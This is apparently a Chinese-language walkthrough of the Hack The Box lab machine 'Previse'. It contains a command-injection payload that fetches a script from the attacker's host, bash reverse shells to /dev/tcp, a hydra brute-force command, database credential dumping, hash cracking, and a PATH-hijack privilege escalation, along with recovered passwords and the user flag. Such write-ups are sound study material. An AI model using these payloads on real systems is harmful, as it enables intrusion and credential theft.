URL : https://app.hackthebox.eu/machines/373
IP : 10.129.212.165
Recon
- 掃 Port
rustscan -a 10.129.212.165 - 發現有開 22 跟 80
掃目錄- python3 dirsearch.py -u http://10.129.212.165/
- 基本上沒有什麼有趣的東西不過有發現有滿多的目錄都會被導到
login.php - 先事後諸葛的講一下,注意他們的302檔案大小不同
- 隨便點開幾個沒有關 index of 的目錄


- 看不出什麼
準備 Exploit
- 其實 Recon 玩之後,我就走投無路的卡了兩個小時,途中包含嘗試了 hydra 爆破
hydra -L user.txt -P /opt/rockyou.txt 10.129.212.165 http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed:login.php"後來發現了他們的 302 大小不同- 這叫做Execute After Redirect (EAR)感謝唉嗚提供! - 可以用 Burp 把 Response 也抓包抓起來

- 並徒手把 301 的 Redirect 改回 200就可以直接在不登入的狀況下訪問各種目錄了- 這算 OWASP TOP 10 的 A2-Broken Authentication


- 我們先創一個自己的帳號然後進去亂晃其中在檔案下載的地方,有網頁的原始碼- 可以在
logs.php發現一個明顯的 Command injection 漏洞,但它貌似不會回顯使用 Command injection-curl ‘http://10.129.212.165/logs.php’ -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0’ -H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8’ -H ‘Accept-Language: en-US,en;q=0.5’ –compressed -H ‘Content-Type: application/x-www-form-urlencoded’ -H ‘Origin: http://10.129.212.165’ -H ‘Connection: keep-alive’ -H ‘Referer: http://10.129.212.165/file_logs.php’ -H ‘Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd’ -H ‘Upgrade-Insecure-Requests: 1’ –data-raw ‘delim=comma;curl -o /tmp/s 10.10.14.47:8000/s_HTB ‘` - 成功載下了我們的 rever sehell
bash -c 'bash -i >& /dev/tcp/10.10.14.47/7877 0>&1'
也成功執行起來ㄌcurl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;bash /tmp/s'
一次提權
- 發現我們不能 cat user flag
觀察 sudo -l- 我們不能用 sudo 做任何事情
從 config.php可以找到資料庫名稱跟密碼-
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
- 嘗試把 sql 給 dump 出來
mysqldump -u root -h localhost -p previse > a.sql 
- 再載下來
wget 10.129.212.165/a.sql
可以觀察到一段帳號跟使用者密馬 hash- 
m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.'- 使用 Hash Analyzer分析

- 發現是
MD5-Crypt而我自己的使用者密碼也在資料庫中,發現到他們的 Salt 一樣-
- 直接破會發現解不開 QQ
觀察原始碼發現它的 salt 是固定的,而且用了 Unicode 的 Emoji- 
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.重新修正後就可以用 john 來解ㄌ!-
另外這邊也可以用 Hash Cat 來解- hashcat -m 500 hash.txt rockyou.txt- 可以觀察 Hash cat 的網站,尋找 MD5-Crypt 的代號是 500https://hashcat.net/wiki/doku.php?id=example_hashes
因此我們就取的了一組帳密- m4lwhere ilovecody112235!也可以順利的 SSH 上去了-
取得 User Flag- 
aad354dc018b14716dee8310d8f90c03
準備二次提權
- 起手式
sudo -l
- 發現我們可以用 sudo 執行
access_backup.sh - 但是我們不行對這個檔案進行寫入
發現程式會呼叫 date的相對位置- 所以我們可以用 Path 誤導程式,執行我們的腳本 - 在本地家目錄創一個
date檔案,設定 x 權限並寫入 Reverse shellbash -c 'bash -i >& /dev/tcp/10.10.14.47/7878 0>&1'!執行PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh順利取得 Root!!-

心得
- Execute After Redirect (EAR)用 dirsearch 除了 Status Code 也需要注意檔案大小
- 302 跳轉可以先用 curl 檢查
- Burp 也可以攔截 response 把東西拔掉Hash 遇到 Unicode 在 sqldump 或是 cat、less 等狀況 可能會出問題